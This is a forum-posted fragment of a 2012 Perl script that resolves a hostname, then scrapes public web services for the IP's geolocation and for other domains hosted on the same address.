  36.  @      @@@@    @@@@    @    @@@@@  @@@@@     @  @@@@@ 
  37.  @     @    @  @    @   @      @    @         @  @    @
  38.  @     @    @  @       @ @     @    @         @  @    @
  39.  @     @    @  @       @ @     @    @         @  @    @
  40.  @     @    @  @      @   @    @    @@@@      @  @@@@@ 
  41.  @     @    @  @      @   @    @    @         @  @     
  42.  @     @    @  @      @@@@@    @    @         @  @     
  43.  @     @    @  @    @@     @   @    @         @  @     
  44.  @@@@@  @@@@    @@@@ @     @   @    @@@@@     @  @     
  45.  
  46.  
  47.  
  48. );
  49. }
  50.  
  51. sub copyright {
  52.     print "\n\n== --(C) Doddy Hackman 2012 -- ==\n\n";
  53.     exit(1);
  54. }
  55.  
  56. sub infocon {
  57.     my $target = shift;
  58.  
  59.     my $get    = gethostbyname($target);
  60.     my $target = inet_ntoa($get);
  61.  
  62.     print "\n\n[+] Getting info\n\n\n";
  63.     $total =
  64.       "http://www.melissadata.com/lookups/iplocation.asp?ipaddress=$target";
  65.     $re = toma($total);
  66.  
  67.     if ( $re =~ /City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  68.         print "[+] City : $2\n";
  69.     }
  70.     else {
  71.         print "[-] Not Found\n";
  72.         copyright();
  73.     }
  74.     if ( $re =~ /Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  75.         print "[+] Country : $2\n";
  76.     }
  77.     if ( $re =~ /State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/ ) {
  78.         print "[+] State or Region : $2\n";
  79.     }
  80.  
  81.     print "\n\n[+] Getting Hosts\n\n\n";
  82.  
  83.     my $code = toma( "http://www.ip-adress.com/reverse_ip/" . $target );
  84.  
  85.     while ( $code =~ /whois\/(.*?)\">Whois/g ) {
  86.         my $dns = $1;
  87.         chomp $dns;
  88.         print "[DNS] : $dns\n";
  89.     }
  90. }
  91.  
  92. sub toma {
  93.     return $nave->get( $_[0] )->content;
  94. }
  95.  
  96. # ¿ The End ?
  97.  
Páginas: 1 ... 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 [42] 43 44 45 46 47 48 49 50 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines